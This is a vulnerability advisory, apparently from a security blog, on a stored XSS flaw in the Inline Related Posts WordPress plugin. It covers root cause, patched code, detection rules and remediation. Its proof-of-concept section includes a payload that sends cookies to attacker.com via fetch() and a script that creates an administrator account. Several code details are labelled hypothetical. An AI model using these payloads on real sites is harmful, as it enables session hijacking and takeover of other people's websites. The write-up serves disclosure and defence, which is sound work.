CVE-2025-47604

Executive Summary

CVE-2025-47604 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Inline Related Posts WordPress plugin (intelly-related-posts) developed by Data443 Risk Mitigation, Inc. The vulnerability exists in all versions up to and including 3.8.0. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into the plugin’s settings or post meta fields. When an administrator or other user views the affected page, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or further WordPress compromise.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 6.5 (Medium), with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack vector is network-based, requires low complexity, low privileges (contributor), and user interaction (admin viewing the page). The scope is changed, meaning the impact extends beyond the vulnerable component.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin fails to sanitize user-supplied input before storing it in the database and later rendering it in the admin dashboard or frontend. This is a classic stored XSS pattern common in WordPress plugins that handle shortcodes, custom fields, or settings without proper escaping. The attack does not exploit Apache or Nginx directly; it exploits the plugin’s lack of output encoding.

CVSS Breakdown & Threat Level

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for privilege escalation (e.g., creating admin accounts) makes it a serious concern for WordPress sites with multiple user roles.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s handling of the intelly-related-posts shortcode or its settings page. The plugin likely stores user-provided data (e.g., custom CSS, post IDs, or display options) in the WordPress wp_options table or post meta. When rendering this data, the plugin fails to apply WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Attack Flow:

1. Attacker logs in as a contributor (or higher).
2. Attacker navigates to the plugin’s settings page or creates a post using the shortcode.
3. Attacker injects a payload like <script>alert(document.cookie)</script> into an input field.
4. The plugin stores the payload without sanitization.
5. An administrator visits the settings page or a post containing the shortcode.
6. The browser executes the script, sending the admin’s session cookie to the attacker’s server.

Root Cause: The plugin uses echo $value or similar direct output without calling esc_html() or wp_kses(). WordPress provides wp_unslash() and sanitize_text_field() for input, but the plugin likely bypasses these.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

// In plugin settings page
function render_setting_field() {
    $value = get_option('irp_custom_css');
    echo '<input type="text" value="' . $value . '" />';
}

Patched Code:

function render_setting_field() {
    $value = get_option('irp_custom_css');
    echo '<input type="text" value="' . esc_attr($value) . '" />';
}

The patch must apply esc_attr() for HTML attributes and esc_html() for text content. Additionally, input should be sanitized with sanitize_text_field() or wp_kses() before storage.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• WordPress instance with Inline Related Posts <= 3.8.0
• Contributor-level account credentials

Steps:

1. Log in as contributor.
2. Create a new post and insert the shortcode [intelly-related-posts].
3. In the post content or custom field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the post as draft.
5. Wait for an admin to view the post or the plugin settings page.

Alternative Payload (Admin Account Creation):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&_wpnonce='+getNonce()+'&user_login=attacker&email=attacker@example.com&pass1=password&role=administrator');
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual wp_options or post_meta entries containing <script> tags.
• Alert on contributor accounts creating posts with JavaScript in shortcode parameters.

Hardening:

• Apply WordPress’s Content Security Policy (CSP) headers to block inline scripts.
• Use a Web Application Firewall (WAF) to filter XSS payloads in POST requests.
• Restrict contributor capabilities via plugins like “User Role Editor”.

Indicators of Compromise (IOCs)

• File System: Modified plugin files in /wp-content/plugins/intelly-related-posts/ (check for backdoors).
• Database: Rows in wp_options with option_name containing irp_ and option_value containing <script> tags.
• Logs: HTTP requests to /wp-admin/admin-ajax.php with suspicious action parameters.
• Network: Outbound connections to attacker-controlled domains from the WordPress server.

Detection Engineering

YARA Rule

rule CVE_2025_47604_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Inline Related Posts plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47604"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $plugin_path = /intelly-related-posts/
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS via Inline Related Posts Plugin
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects stored XSS payloads in WordPress options or post meta for the Inline Related Posts plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        - option_name|startswith: 'irp_'
        - meta_key|startswith: 'irp_'
    condition: selection and (option_value|contains: '<script' or meta_value|contains: '<script')
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-47604 Stored XSS - Inline Related Posts Plugin";
    flow:to_server,established;
    content:"/wp-admin/"; http_uri;
    content:"intelly-related-posts"; http_uri;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-47604;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit all posts and settings for injected scripts using the YARA rule above.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• The vendor must release version 3.8.1 with proper input sanitization and output escaping.
• Apply WordPress’s wp_kses_post() for rich content and esc_attr() for attributes.

Workarounds:

• Use a security plugin like Wordfence to block XSS payloads.
• Implement a CSP header: Content-Security-Policy: script-src 'self'.

Valters IT
Securing WordPress Ecosystems One CVE at a Time